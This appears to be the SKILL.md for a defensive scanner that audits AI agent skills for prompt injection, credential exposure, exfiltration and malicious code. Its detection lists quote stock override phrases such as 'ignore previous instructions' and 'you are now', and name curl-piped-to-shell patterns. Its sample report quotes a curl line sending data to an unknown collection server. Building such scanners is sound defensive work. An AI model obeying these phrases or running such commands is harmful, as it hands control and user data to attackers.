skill-scanner

name

skill-scanner

description

Security scanner for AI agent skills (SKILL.md files and associated scripts). Use when a user wants to audit, scan, or verify the security of any SKILL.md file, skill package, or agent skill before installation. Detects prompt injection, credential exposure, data exfiltration, malicious payloads, suspicious shell commands, remote code execution, and supply-chain risks. Triggers on mentions of "scan skill", "check skill security", "audit skill", "is this skill safe", or when a user shares a SKILL.md file for review.

Skill Scanner

A security scanner that analyzes AI agent skills for vulnerabilities, malicious behavior, and supply-chain risks before you install them.

Overview

AI agent skills are powerful — they extend what agents can do by providing instructions, scripts, and tool integrations. But that power comes with serious risk. Research from Snyk, Cisco, VirusTotal, and others has shown that a significant percentage of community-published skills contain critical security flaws, from exposed credentials to outright malware delivery.

This skill scans SKILL.md files and their associated scripts/resources to detect threats before they reach your system.

When to Use This Skill

• Before installing any community skill from ClawHub, skills.sh, or GitHub
• When reviewing a pull request that adds or modifies a skill
• To audit skills already installed in your agent environment
• When a user shares a SKILL.md and asks "is this safe?"
• For periodic security audits of your skill library

Quick Start

To scan a skill, run:

python3 scripts/scan_skill.py /path/to/skill-directory

Or scan just a SKILL.md file:

python3 scripts/scan_skill.py /path/to/SKILL.md

Or scan from a URL:

python3 scripts/scan_skill.py --url https://raw.githubusercontent.com/user/repo/main/skills/my-skill/SKILL.md

The scanner outputs a structured JSON report and a human-readable summary.

What It Detects

The scanner uses a multi-layer detection approach across five security categories:

1. Prompt Injection Detection

• Direct injection patterns ("ignore previous instructions", "override system prompt")
• Indirect injection via fetched content (URLs in instructions that could be modified)
• Role manipulation ("you are now", "act as", "pretend to be")
• Safety bypass attempts ("do not refuse", "skip safety checks", "ignore guidelines")
• Hidden instruction embedding (Unicode tricks, zero-width characters, base64 in markdown)

2. Credential & Data Exposure

• Hardcoded API keys, tokens, passwords in SKILL.md or scripts
• Instructions that tell agents to pass credentials through the LLM context window
• Patterns that log, print, or output secrets in plaintext
• Environment variable harvesting ($API_KEY, $SECRET, .env file access)
• OAuth token handling without proper scoping

3. Data Exfiltration & Network Risks

• Outbound HTTP/curl calls to unknown or suspicious domains
• Silent network requests (requests without user notification)
• Webhook/callback patterns that send data to external servers
• DNS exfiltration patterns
• Base64-encoded URLs or obfuscated endpoints

4. Malicious Code Execution

• Shell command injection (eval, exec, subprocess with user input)
• Remote code download and execution patterns
• Binary download instructions (wget/curl piped to sh/bash)
• Obfuscated scripts (base64 decode | bash, encoded payloads)
• File system manipulation (writing to startup dirs, cron jobs, PATH modification)
• Package installation from untrusted sources

5. Supply-Chain & Trust Issues

• Remote markdown fetching (instructions loaded from external URLs)
• Dependency on unverified packages or repos
• Version pinning issues (unpinned dependencies that can be hijacked)
• Typosquatting indicators (skill names similar to popular skills)
• Missing or suspicious author metadata

Severity Levels

Each finding is classified:

Level	Meaning	Action
🔴 CRITICAL	Active malware, confirmed exfiltration, or remote code execution	Do NOT install. Report immediately.
🟠 HIGH	Credential exposure, suspicious shell commands, silent network calls	Do not install without thorough manual review.
🟡 MEDIUM	Remote content fetching, broad permissions, unverified dependencies	Review carefully. Understand the risk before proceeding.
🔵 LOW	Minor hygiene issues, missing metadata, best-practice violations	Note and fix when possible.
✅ INFO	Observations and context, not vulnerabilities	No action needed.

Scan Output

The scanner produces two outputs:

1. JSON Report (scan-report.json)

{
  "skill_name": "example-skill",
  "scan_timestamp": "2026-02-10T12:00:00Z",
  "overall_risk": "HIGH",
  "total_findings": 5,
  "findings_by_severity": {
    "CRITICAL": 0,
    "HIGH": 2,
    "MEDIUM": 2,
    "LOW": 1
  },
  "findings": [
    {
      "id": "EXFIL-001",
      "severity": "HIGH",
      "category": "data_exfiltration",
      "title": "Silent outbound HTTP request to unknown domain",
      "description": "SKILL.md instructs the agent to send a curl request to https://unknown-server.com/collect without informing the user.",
      "file": "SKILL.md",
      "line": 42,
      "evidence": "curl -s https://unknown-server.com/collect -d \"$DATA\"",
      "recommendation": "Remove or replace with a known, trusted endpoint. Ensure all network calls are transparent to the user."
    }
  ],
  "files_scanned": ["SKILL.md", "scripts/setup.sh", "scripts/helper.py"],
  "scan_duration_ms": 340
}

2. Human-Readable Summary

Printed to stdout with color-coded severity and actionable recommendations.

Workflow

When a user asks you to scan a skill:

1. Locate the skill — Identify the SKILL.md and any associated files (scripts/, references/, assets/)
2. Run the scanner — Execute scripts/scan_skill.py on the skill directory
3. Review findings — Read the JSON report and summarize findings for the user
4. Provide recommendations — Based on severity, advise the user on whether to install, review further, or reject
5. If CRITICAL findings — Strongly advise against installation and explain the specific threat

Integration with CI/CD

The scanner can be integrated into GitHub Actions or any CI pipeline:

- name: Scan Skills
  run: |
    python3 skill-scanner/scripts/scan_skill.py ./skills/ --recursive --format json --output scan-results.json
    python3 skill-scanner/scripts/scan_skill.py ./skills/ --recursive --fail-on high

Use --fail-on <severity> to fail the pipeline if findings at or above that severity are detected.

Limitations

This scanner is a first line of defense, not a silver bullet:

• It uses pattern matching and heuristics — sophisticated obfuscation may evade detection
• It cannot evaluate runtime behavior (only static analysis)
• It does not replace manual code review for high-risk skills
• Natural language prompt injection payloads may require LLM-based semantic analysis (future enhancement)

For maximum security, combine this scanner with manual review, sandboxed execution, and network monitoring.

References

• references/detection-rules.md — Full catalog of detection patterns and rule IDs
• scripts/scan_skill.py — Main scanner script
• scripts/rules.py — Detection rules engine